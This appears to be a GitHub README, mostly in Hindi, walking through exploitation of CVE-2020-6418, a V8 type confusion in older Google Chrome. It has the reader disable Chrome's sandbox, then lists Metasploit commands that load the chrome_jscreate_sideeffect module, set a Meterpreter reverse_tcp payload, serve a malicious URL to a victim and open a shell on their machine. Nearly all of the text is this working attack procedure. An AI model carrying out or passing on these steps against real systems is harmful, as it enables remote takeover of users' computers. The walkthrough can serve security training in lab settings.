sivapriyaranganatha/cve-2020-6418CVE-2020-6418 के लिए एक्सप्लॉइट, V8 में एक टाइप कन्फ्यूजन, जो क्राफ्टेड HTML पेज के माध्यम से रिमोट कोड एक्ज़ीक्यूशन की अनुमति देता है। रिवर्स शेल पेलोड डिलीवर करने के लिए Metasploit का उपयोग करता है।
CVE 2020-6418 Google Chrome में V8 में टाइप कन्फ्यूजन के बारे में है। प्रभावित संस्करण 80.0.3987.122 से पहले के थे। यह कमजोरी एक रिमोट हमलावर द्वारा एक क्राफ्टेड HTML पेज के माध्यम से लक्ष्य डिवाइस के शेल तक पहुंच कर प्राप्त की जाती है।
Note : The Google chrome browser should run with no sandbox for the exploit to be succesfull.
i) Google Chrome के लिए एक शॉर्टकट बनाएं
ii) प्रॉपर्टीज पर क्लिक करें > "Target" नामक विकल्प पर जाएं
iii) EXE के अंत में, एक स्पेस दें और -no--sandbox दर्ज करें
iv) Apply पर क्लिक करें > Ok
v) नया ब्राउज़र Google Chrome खोलें और आपको नीचे बताया गया पॉप-अप दिखाई देगा।
You are using an unsupported command-line flag: -no-sandbox. Stability ans security will suffer
चूंकि हम Kali का उपयोग एक्सप्लॉइट करने के लिए वातावरण के रूप में कर रहे हैं, Metasploit डिस्ट्रो के साथ एक अंतर्निहित टूल के रूप में आता है। लेकिन यदि आप अन्य डिस्ट्रो का उपयोग कर रहे हैं, तो हमें एक्सप्लॉइट शुरू करने से पहले Metasploit सेटअप करना होगा।
आगे की समझ के लिए Metasploit इंस्टॉलेशन देखें।
i) Metasploit फ्रेमवर्क प्रारंभ करना
> msfconsole
ii) एक्सप्लॉइट खोजें
> search chrome_js
iii) ऊपर आउटपुट से उपलब्ध एक्सप्लॉइट का उपयोग करें
> Use exploit/multi/browser/chrome_jscreate_sideeffect
iv) SRVHOST IP पता प्रदान करें
> set SRVHOST <ip address>
v) Target प्रदान करें यहां हमें दो विकल्प मिलते हैं
> set Target " Number "
vi) Payload प्रदान करें
> set PAYLOAD windows/x64/meterpreter/reverse_tcp
vii) वर्तमान सेटिंग्स और सक्षम विकल्पों की जांच करने के लिए।
> show options
viii) एक्सप्लॉइट चलाने के लिए
> run (or) > exploit
ix) आपको एक URL प्रदान किया जाएगा, जिसे सत्र को सक्रिय करने के लिए ब्राउज़र पर कॉपी किया जाना चाहिए।
x) एक बार जब उपयोगकर्ता URL तक पहुंचता है, तो एक सत्र बनाया जाएगा। इसे जांचने के लिए
> show sessions
xi) सत्र का उपयोग करके, हम उपयोगकर्ता सिस्टम जानकारी देख सकते हैं / शेल में प्रवेश कर सकते हैं।
> sessions <number>
> shell